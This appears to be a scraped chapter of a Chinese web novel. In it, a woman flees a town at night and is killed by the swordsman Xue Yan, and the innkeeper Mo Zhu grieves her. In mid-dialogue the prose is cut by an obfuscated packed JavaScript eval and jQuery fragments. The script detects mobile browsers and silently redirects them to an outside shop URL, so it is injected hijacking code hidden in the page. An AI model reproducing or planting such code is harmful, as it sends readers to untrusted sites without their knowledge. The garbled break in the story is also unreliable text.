文趣网 > 其他小说 > 十七年谋他 > 9. 枭心鹤貌-08
    静寂深夜,镇外传来一两声尖锐鸟啼,一层更比一层高的影影绰绰,全都隐没在黑黢黢里。

    通明的阁楼窗前闪过一道人影,在外驻守的黑衣人看着她睡下。

    也同样放松了神经,靠住围栏打起瞌睡,一如平时。

    所处与阁楼隔着一段距离,自然是没有发现,本该躺在床上安寝的女子此时正趴卧在地。

    双耳竖起警觉,留意着阁楼外的动静。

    她一身的酒楼小二装束,肩上背着个包裹,确定周围监视自己的人并未察觉后,蹑手蹑脚地伏低身子,在灯火照不到的地方轻轻推开了阁楼的门。

    女子要逃,不管是为同福酒楼,还是为萍栖镇的无辜众人。

    这是她深思熟虑过后的决定。即使明白阁楼外的危险。

    整间酒楼都沉浸在黑暗和安静中,女子扫过的眼神里有几分动容,没有停留多久,只是匆匆一面别过而已。

    她从酒楼后门而出,顶着夜色,向镇外赶路。

    可不知是否萍栖镇布局有变,她走了一会,竟迷了去路。

    寒冬腊月里,竟是急出了一头汗水。

    明亮的阁楼如同一轮近在咫尺的圆月,照得她压根用不上灯笼。

    这些事情,此前待在阁楼里的她,根本无处可知。

    虽然是逃亡路,却也多了不少新的见识。

    而后误打误撞的,找到了出镇的正确道路,女子脚步仍旧轻悄,喜悦也不敢大声喘气。

    左右两边的屋檐上,隐没着注视的人,从女子踏出阁楼的那刻起,他们的眼睛就盯在了她身上。

    往前走,阁楼的光渐渐减弱。

    一段路后,女子完全迈入阴影之中,黑夜笼罩得她茫然,仿佛失去方向的无主,害怕、惊恐、强装镇定,努力摸索着前路。

    抓紧包裹的带子,深呼一口气,给自己鼓了鼓劲。

    突然的鸟啼吓了她一跳,脚步咋咋呼呼一滞,在黑夜里的各种动静似乎都格外的响。

    所幸,眼睛终于慢慢适应黑暗。

    她已踉踉跄跄地走出萍栖镇。

    眼前的枝杈像极了某些扭曲的身形,重叠交错,宛如高大魁梧的守卫,瞪着严厉傲慢的瞳孔,俯瞰扫视所有。

    女子缩着脖子,眼睛紧盯脚下寸地,不敢挪开。

    “薛魇,这么晚,你带我来这做什么?”一头雾水的程楚鱼甩开薛魇的桎梏,满脸都是受他摆布的不忿。

    可他即刻欺身靠近,捂住了楚鱼的嘴,“嘘,别出声。”

    眸子浓深,没有任何波动,却令程楚鱼心底又泛起恐惧的涟漪。

    薛魇拨开遮掩的草丛,望着出逃女子的背影,确认了她并没有听见程楚鱼的说话声。

    “带你见一场好戏。”偏头,对楚鱼说。

    突然的黑影闪过附近的大路,薛魇戏谑的神色瞬间浮现出,“这不,开始了。”

    早有一股不妙,压得程楚鱼心头直难受,此时此刻,更是无比强烈。

    也学着薛魇的样子,拨开枯黄干燥的草丛,给出眼神。

    一个人?会是谁?

    黑暗没有对任何人手软,程楚鱼辨认不出。

    可那道闪过去的身影却似黑暗宠儿,如履平地般,没有犹豫地便来到了那人身后。

    随后是耳熟的惊呼。

    程楚鱼立即知道了那人是谁,几乎同时,薛魇跳出草丛,边靠近黑影边叫嚣,抽出刀,同样极快地追上,“小子,想杀人,先跟你爷爷过两招。”

    乒乒乓乓的兵器声此起彼伏,两道身形缠斗在一块,阁楼女子被突然冒出来的黑影吓得大脑空白,更别说第二个薛魇出现时,话没怎么说就与人刀刀致命的压迫。

    “你快跑啊。”程楚鱼压低声音,在草丛里冲女子喊道。

    女子却似看傻了一般,任何反应都没有。

    “跑?”一刀干脆利落地解决掉黑影的薛魇微微侧过头,对方的血喷溅上半张脸,挂在下巴滴答滴答,“往哪跑?”

    擦去碍事的血,袖口留下一大片斑驳血迹,冲向程楚鱼冷淡的眼睛重新回到木讷住的女子身上。

    “多,多谢壮士救我。”

    程楚鱼的眉心不安地紧跳起来,像是预料到将要发生什么,冲出草丛奔向女子。

    “不用谢。”薛魇对她莞尔一笑,吐出的话比任何都冰冷,“我也是来杀你的。”

    来不及,程楚鱼来不及,眼睁睁看着薛魇。

    宽刀不费吹灰之力贯穿女子身体,她来不及发出一声,就吃痛失力,轻飘飘倒在地。

    累赘的包裹被她用力一甩,与她同时落地,就倒在赶来的程楚鱼面前。

    睁着渐渐寂灭的眼睛,执着地看向萍栖镇内,似有牵挂的人和事。

    程楚鱼闭上眼,掐紧手心,手掌止不住地颤抖。

    薛魇清楚程楚鱼的不忍,擦去刀上痕迹,事不关己地抻了个懒腰,走到死透了的黑衣人旁,摘去面布。

    果然,是那三个杀手之一。

    前夜薛魇追他,有意放了一马,只是好奇有何目的。

    “你就那么确定,她是你的目标吗?”连声线也带着抖动。

    “宁可错杀,不可放过。”薛魇似乎心情不错,少有的解释。

    血腥味吸引了丛林中的生灵,令人发怵的叫声离他们越来越近,听清了薛魇的话,程楚鱼放弃了心底的那点飘渺期冀。

    吞咽下多余的情绪,在又一声狼嚎后,她故意往薛魇结实的胸膛里撞。

    “好吓人,薛魇,我害怕。”揪着薛魇衣领,不肯松手。

    既已无法为别人盘算,总归还有自己。

    “你是挺怕的。”他低头奚落了楚鱼两句,强行掰开她的手指再抓在自己掌中,“你不该天不怕地不怕吗?”

    就这么一路抓着程楚鱼,一路小心谨慎地回到了萍栖镇。

    在他们没有在意到的角落里,一个几乎完全隐没在黑夜里的人静静观看了阁楼女子被杀的过程。

    甚至在程楚鱼和薛魇离开之后,这个人还拖着曳地的黑斗篷,上前仔细确认了女子的情况。

    *

    “你说什么!?阁楼里没有人了?”莫珠攥着李才的衣领激动道,吓呆还端着饭菜的他。

    老板娘怎么突然有这么大的脾气?客人出门不正常吗?

    “是,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17543390|204013||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    是啊。”李才懵懵懂懂的,也不敢有所反抗。

    半晌,莫珠从震惊到失魂落魄,终于松手。

    李才端稳碗筷,不敢松懈,走出几步路后回过头来看着落寞的老板娘。

    经过王大成被害、同福酒楼败落的事,他沉稳了不少。

    想开口劝导老板娘几句,张了张嘴,却到底因为不知道该说什么而闭上了,踏实去忙自己的事了。

    *

    莫珠浑浑噩噩地走在大街上。

    耳边的所有声响都被混乱的思绪阻拦在外。

    程楚鱼担忧地跟在她身后。

    “我知道,她在哪……”

    “快带我去!”

    “可……”

    腊月寒冬里的一只烫出汗的手盖上楚鱼的手背,瞳孔底却早已满是死寂冰冷的了然,莫珠说得哽塞艰难,“带我去吧。”

    程楚鱼退开半步,愧对莫珠,“好,我带你去。”

    “你想,听个故事吗?”莫珠远远瞧着卧在荒草堆里的人,一脚失神绊在了一块石头上,问道手忙脚乱扶住自己的程楚鱼。

    过了半夜而已,远处就一片狼藉,扶住莫珠的程楚鱼紧紧握住她的手臂,不忍心劝道:“我们,走吧。”

    “不。”莫珠悲恸,却执拗得紧。

    “是什么故事?”

    一步一步慢慢接近,直到看清了女子的模样,程楚鱼下意识皱了眉,关忧地无时无刻不留意着莫珠的状况。

    “多年前一个小镇的冬天,漫天大雪晃白了视线,一个人清早起来,刚出了门,便在这雪白一片里瞧着另一个人出现。”

    “那个人普通,没有什么特点,同那年流亡到小镇的众多人一样,披着破布,拄着木杖,运气却好得不行,遇上了她这般善良心软的人。”

    “她收留了那人,给了干净暖和的住处、滚烫鲜美的吃食,日夜生着的火盆在那个极其难捱的冬天,救了那人一命。”

    “然后,春暖花开,她们一同去小镇北边的医馆照顾流离失所的灾民。”

    “在那段时间里,她们交心,成了挚友。”

    “安生的日子却没有太平许久,那个人有追着杀的仇家,搅烂了一切,伤了很多很多无辜的人。”

    “那人自认死不足惜,不该牵累这世上顶顶好的人,想要以身做饵、玉石俱焚。”

    “可心慈的她不忍,灌醉了那人,互换了身份。”

    “小程姑娘,你说……傻不傻?”莫珠脸颊滑下一滴泪,彪悍泼辣之中透出弱柳般的脆弱。

    程楚鱼眉心冷不丁一跳。

    隐隐约约中像是猜到了什么不得了的事。

    “但求无悔便好。”轻声回复,搀扶莫珠缓缓回到了萍栖镇内,走进一家冥器店。

    莫珠闻言,愣了一会,挂着泪的眼睛怔怔盯着说话的程楚鱼。

    “你……说得很对。”

    坐在屋檐上的薛魇兴趣缺缺地看着从冥器店里出来的程楚鱼和莫珠,跟上她俩行踪,又远远看着两个女子在昨夜旧地的附近挖坑填土。

    夕阳西下,他就这么看了程楚鱼一天。

    不明白,她如此愧疚的缘由。